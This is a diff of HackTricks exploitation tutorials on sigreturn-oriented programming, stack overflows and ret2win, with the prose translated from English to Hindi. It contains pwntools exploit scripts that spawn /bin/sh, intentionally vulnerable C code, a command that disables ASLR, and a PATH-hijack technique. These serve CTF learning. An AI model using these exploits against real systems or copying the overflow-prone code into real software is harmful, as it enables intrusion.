@ -124,5 +117,4 @@ p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,23 +4,22 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
|
||||
**`Sigreturn`** एक विशेष **syscall** है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल वे व्यवधान हैं जो ऑपरेटिंग सिस्टम द्वारा एक प्रोग्राम को भेजे जाते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह अस्थायी रूप से अपने वर्तमान कार्य को रोकता है ताकि सिग्नल को एक **सिग्नल हैंडलर** के साथ संभाला जा सके, जो सिग्नल से निपटने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है।
|
||||
|
||||
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
|
||||
सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को **अपने पिछले स्थिति पर लौटने** की आवश्यकता होती है जैसे कुछ हुआ ही न हो। यहीं पर **`sigreturn`** का काम आता है। यह प्रोग्राम को **सिग्नल हैंडलर से लौटने** में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है।
|
||||
|
||||
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
|
||||
दिलचस्प बात यह है कि **`sigreturn`** प्रोग्राम की स्थिति को कैसे बहाल करता है: यह **CPU के सभी रजिस्टर मानों को स्टैक पर संग्रहीत करके** ऐसा करता है। जब सिग्नल अब अवरुद्ध नहीं होता, तो **`sigreturn` इन मानों को स्टैक से पॉप करता है**, प्रभावी रूप से CPU के रजिस्टर को उनके उस स्थिति में रीसेट करता है जब सिग्नल को संभाला गया था। इसमें स्टैक पॉइंटर रजिस्टर (RSP) शामिल है, जो स्टैक के वर्तमान शीर्ष की ओर इशारा करता है।
|
||||
|
||||
> [!CAUTION]
|
||||
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
|
||||
> ROP चेन से **`sigreturn`** syscall को कॉल करना और **रजिस्ट्रियों के मानों को जोड़ना** जिन्हें हम **स्टैक** में लोड करना चाहते हैं, यह संभव बनाता है कि हम सभी रजिस्टर मानों को **नियंत्रित** कर सकें और इसलिए **कॉल** कर सकें, उदाहरण के लिए, syscall `execve` के साथ `/bin/sh`।
|
||||
|
||||
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
|
||||
ध्यान दें कि यह एक **Ret2syscall** का **प्रकार** होगा जो अन्य Ret2syscalls को कॉल करने के लिए पैरामीटर को नियंत्रित करना बहुत आसान बनाता है:
|
||||
|
||||
{{#ref}}
|
||||
../rop-syscall-execv/
|
||||
{{#endref}}
|
||||
|
||||
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
|
||||
|
||||
यदि आप जिज्ञासु हैं, तो यह **sigcontext संरचना** है जो स्टैक में संग्रहीत होती है ताकि बाद में मानों को पुनर्प्राप्त किया जा सके (चित्र [**यहां**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) से):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
|
||||
| __reserved | sigmask |
|
||||
+--------------------+--------------------+
|
||||
```
|
||||
|
||||
For a better explanation check also:
|
||||
एक बेहतर व्याख्या के लिए देखें:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## Example
|
||||
|
||||
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
|
||||
## उदाहरण
|
||||
|
||||
आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से निर्मित किया गया है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -91,9 +88,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
|
||||
|
||||
यहाँ [**यहाँ से एक्सप्लॉइट**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) को भी चेक करें जहाँ बाइनरी पहले से ही `sigreturn` को कॉल कर रही थी और इसलिए इसे **ROP** के साथ बनाने की आवश्यकता नहीं है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
## Other Examples & References
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
||||
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
|
||||
- Assembly बाइनरी जो **स्टैक पर लिखने** की अनुमति देती है और फिर **`sigreturn`** syscall को कॉल करती है। यह संभव है कि स्टैक पर एक [**ret2syscall**](../rop-syscall-execv/) को **sigreturn** संरचना के माध्यम से लिखा जाए और बाइनरी की मेमोरी के अंदर फ्लैग को पढ़ा जाए।
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
|
||||
- Assembly बाइनरी जो **स्टैक पर लिखने** की अनुमति देती है और फिर **`sigreturn`** syscall को कॉल करती है। यह संभव है कि स्टैक पर एक [**ret2syscall**](../rop-syscall-execv/) को **sigreturn** संरचना के माध्यम से लिखा जाए (बाइनरी में स्ट्रिंग `/bin/sh` है)।
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
|
||||
- 64 बिट्स, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। `gets` फ़ंक्शन का उपयोग करते हुए सरल बफर ओवरफ्लो जो [**ret2syscall**](../rop-syscall-execv/) को निष्पादित करता है। ROP श्रृंखला `/bin/sh` को `.bss` में लिखती है, फिर से gets को कॉल करके, यह **`alarm`** फ़ंक्शन का दुरुपयोग करती है ताकि eax को `0xf` पर सेट किया जा सके ताकि एक **SROP** को कॉल किया जा सके और एक शेल निष्पादित किया जा सके।
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
|
||||
- 64 बिट्स assembly प्रोग्राम, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। प्रवाह स्टैक में लिखने, कई रजिस्टरों को नियंत्रित करने, और एक syscall को कॉल करने की अनुमति देता है और फिर यह `exit` को कॉल करता है। चयनित syscall एक `sigreturn` है जो रजिस्टर सेट करेगा और `eip` को पिछले syscall निर्देश को कॉल करने के लिए स्थानांतरित करेगा और बाइनरी स्पेस को `rwx` पर सेट करने के लिए `memprotect` को चलाएगा और बाइनरी स्पेस में ESP को सेट करेगा। प्रवाह का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगली निर्देश की ओर इशारा करेगा, इसलिए एक शेलकोड को पास करना इसे अगली निर्देश के रूप में लिखेगा और इसे निष्पादित करेगा।
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
|
||||
- SROP का उपयोग निष्पादन विशेषाधिकार (memprotect) देने के लिए किया जाता है उस स्थान पर जहां एक शेलकोड रखा गया था।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pwntools example
|
||||
|
||||
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
|
||||
## Pwntools उदाहरण
|
||||
|
||||
यह उदाहरण कमजोर बाइनरी बना रहा है और इसका शोषण कर रहा है। बाइनरी **स्टैक में पढ़ता है** और फिर **`sigreturn`** को कॉल करता है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -33,55 +32,49 @@ p = process(binary.path)
|
||||
p.send(bytes(frame))
|
||||
p.interactive()
|
||||
```
|
||||
## bof उदाहरण
|
||||
|
||||
## bof example
|
||||
|
||||
### Code
|
||||
|
||||
### कोड
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("mov x8, 0x8b; svc 0;");
|
||||
return;
|
||||
if (do_arg == 1)
|
||||
__asm__("mov x8, 0x8b; svc 0;");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
|
||||
return buffer;
|
||||
return buffer;
|
||||
}
|
||||
|
||||
char* gen_stack() {
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = gen_stack();
|
||||
do_stuff(2);
|
||||
return 0;
|
||||
char* b = gen_stack();
|
||||
do_stuff(2);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
इसे संकलित करें:
|
||||
```bash
|
||||
clang -o srop srop.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||
```
|
||||
|
||||
## Exploit
|
||||
|
||||
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
|
||||
|
||||
यह एक्सप्लॉइट bof का उपयोग **`sigreturn`** को कॉल करने के लिए करता है और स्टैक को **`execve`** को `/bin/sh` के पॉइंटर के साथ कॉल करने के लिए तैयार करता है।
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -110,44 +103,40 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## bof उदाहरण बिना sigreturn
|
||||
|
||||
## bof example without sigreturn
|
||||
|
||||
### Code
|
||||
|
||||
### कोड
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
|
||||
return buffer;
|
||||
return buffer;
|
||||
}
|
||||
|
||||
char* gen_stack() {
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = gen_stack();
|
||||
return 0;
|
||||
char* b = gen_stack();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
## Exploit
|
||||
|
||||
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
|
||||
|
||||
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
|
||||
|
||||
इसलिए, यदि लीक हो जाए, तो **इस पते का उपयोग `sigreturn` तक पहुँचने के लिए किया जा सकता है** यदि बाइनरी इसे लोड नहीं कर रही है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -176,14 +165,13 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
For more info about vdso check:
|
||||
vdso के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../ret2vdso.md
|
||||
{{#endref}}
|
||||
|
||||
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
|
||||
और `/bin/sh` के पते को बायपास करने के लिए आप इसके लिए कई env वेरिएबल बना सकते हैं, अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
../../common-binary-protections-and-bypasses/aslr/
|
||||
|
||||
@ -4,35 +4,32 @@
|
||||
|
||||
## What is a Stack Overflow
|
||||
|
||||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
|
||||
A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निकट मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं।
|
||||
|
||||
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
|
||||
इस ओवरराइट की मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचकांक (EIP/RIP)** और **सहेजा गया बेस सूचकांक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा।
|
||||
|
||||
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
|
||||
यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक के अंदर उन बाइट्स की अधिक संख्या की कॉपी करता है जितनी कि इसके लिए आवंटित की गई है**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है।
|
||||
|
||||
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
|
||||
|
||||
For example, the following functions could be vulnerable:
|
||||
इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, ऐसे कार्य जैसे **`fgets`**, **`read` & `memcpy`** जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित लंबाई से अधिक है तो उन्हें असुरक्षित तरीके से उपयोग किया जा सकता है।
|
||||
|
||||
उदाहरण के लिए, निम्नलिखित कार्य असुरक्षित हो सकते हैं:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
printf("Enter some text: ");
|
||||
gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
char buffer[128];
|
||||
printf("Enter some text: ");
|
||||
gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Stack Overflows ऑफसेट्स खोजना
|
||||
|
||||
### Finding Stack Overflows offsets
|
||||
Stack overflows खोजने का सबसे सामान्य तरीका `A`s का बहुत बड़ा इनपुट देना है (जैसे `python3 -c 'print("A"*1000)'`) और एक `Segmentation Fault` की उम्मीद करना जो यह संकेत करता है कि **पता `0x41414141` को एक्सेस करने की कोशिश की गई थी**।
|
||||
|
||||
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
|
||||
इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको **रिटर्न एड्रेस को ओवरराइट करने** के लिए ऑफसेट खोजना होगा, इसके लिए आमतौर पर **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई \_n**\_\*\* के हर संभव उप अनुक्रम** ठीक एक बार** एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है।
|
||||
|
||||
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
|
||||
|
||||
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
|
||||
|
||||
It's possible to use **pwntools** for this:
|
||||
इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से खोजने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स के ऑफसेट को खोजना संभव है जिन्होंने इसे ओवरराइट किया।
|
||||
|
||||
इसके लिए **pwntools** का उपयोग करना संभव है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -44,58 +41,55 @@ eip_value = p32(0x6161616c)
|
||||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||||
print(f"The offset is: {offset}")
|
||||
```
|
||||
|
||||
or **GEF**:
|
||||
|
||||
या **GEF**:
|
||||
```bash
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## स्टैक ओवरफ्लोज़ का शोषण
|
||||
|
||||
## Exploiting Stack Overflows
|
||||
एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय चर के मानों को **ओवरराइट** करने में सक्षम होंगे जब तक कि सहेजे गए **EBP/RBP और EIP/RIP (या इससे भी अधिक)** तक नहीं पहुँच जाते।\
|
||||
इस प्रकार की भेद्यता का दुरुपयोग करने का सबसे सामान्य तरीका **रिटर्न पते को संशोधित करना** है ताकि जब फ़ंक्शन समाप्त हो, तो **नियंत्रण प्रवाह उस पते पर पुनर्निर्देशित हो जाए जो उपयोगकर्ता ने निर्दिष्ट किया है**।
|
||||
|
||||
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
|
||||
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
|
||||
|
||||
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
|
||||
हालांकि, अन्य परिदृश्यों में, केवल **स्टैक में कुछ चर के मानों को ओवरराइट करना** शोषण के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)।
|
||||
|
||||
### Ret2win
|
||||
|
||||
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
|
||||
इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी कॉल नहीं किया जाता** और जिसे **जीतने के लिए आपको कॉल करना है**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** खोजने की आवश्यकता है और **कॉल करने के लिए फंक्शन का पता** खोजने की आवश्यकता है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन कॉल किया जाएगा:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
{{#endref}}
|
||||
|
||||
### Stack Shellcode
|
||||
### स्टैक शेलकोड
|
||||
|
||||
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
|
||||
इस परिदृश्य में हमलावर स्टैक में एक शेलकोड रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके शेलकोड पर कूद सकता है और मनमाने कोड को निष्पादित कर सकता है:
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
### ROP & Ret2... तकनीकें
|
||||
|
||||
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
|
||||
यह तकनीक पिछले तकनीक की मुख्य सुरक्षा को बायपास करने के लिए मौलिक ढांचा है: **कोई निष्पादन योग्य स्टैक (NX)**। और यह कई अन्य तकनीकों (ret2lib, ret2syscall...) को निष्पादित करने की अनुमति देती है जो बाइनरी में मौजूदा निर्देशों का दुरुपयोग करके मनमाने आदेशों को निष्पादित करेंगी:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
{{#endref}}
|
||||
|
||||
## Heap Overflows
|
||||
## हीप ओवरफ्लोज़
|
||||
|
||||
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
|
||||
एक ओवरफ्लो हमेशा स्टैक में नहीं होगा, यह **हीप** में भी हो सकता है, उदाहरण के लिए:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
## Types of protections
|
||||
## सुरक्षा के प्रकार
|
||||
|
||||
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
|
||||
भेद्यताओं के शोषण को रोकने के लिए कई सुरक्षा उपाय हैं, उन्हें देखें:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
|
||||
@ -4,21 +4,21 @@
|
||||
|
||||
## String pointers
|
||||
|
||||
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
|
||||
यदि एक फ़ंक्शन कॉल एक स्ट्रिंग के पते का उपयोग करने जा रहा है जो स्टैक में स्थित है, तो बफ़र ओवरफ़्लो का दुरुपयोग करके **इस पते को ओवरराइट करना** और बाइनरी के अंदर **एक अलग स्ट्रिंग का पता डालना** संभव है।
|
||||
|
||||
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
|
||||
यदि उदाहरण के लिए एक **`system`** फ़ंक्शन कॉल **एक कमांड निष्पादित करने के लिए एक स्ट्रिंग के पते का उपयोग करने जा रहा है**, तो एक हमलावर **स्टैक में एक अलग स्ट्रिंग का पता रख सकता है**, **`export PATH=.:$PATH`** और वर्तमान निर्देशिका में **नई स्ट्रिंग के पहले अक्षर के नाम वाला एक स्क्रिप्ट बना सकता है** क्योंकि इसे बाइनरी द्वारा निष्पादित किया जाएगा।
|
||||
|
||||
You can find an **example** of this in:
|
||||
आप इसका एक **उदाहरण** यहाँ पा सकते हैं:
|
||||
|
||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
|
||||
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
|
||||
- 32bit, change address to flags string in the stack so it's printed by `puts`
|
||||
- 32bit, स्टैक में फ्लैग्स स्ट्रिंग के पते को बदलें ताकि इसे `puts` द्वारा प्रिंट किया जा सके
|
||||
|
||||
## Function pointers
|
||||
|
||||
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
|
||||
स्ट्रिंग पॉइंटर के समान लेकिन फ़ंक्शंस पर लागू, यदि **स्टैक में एक फ़ंक्शन का पता है** जिसे कॉल किया जाएगा, तो इसे **बदलना** संभव है (जैसे **`system`** को कॉल करना)।
|
||||
|
||||
You can find an example in:
|
||||
आप इसका एक उदाहरण यहाँ पा सकते हैं:
|
||||
|
||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
|
||||
|
||||
|
||||
@ -4,47 +4,42 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
|
||||
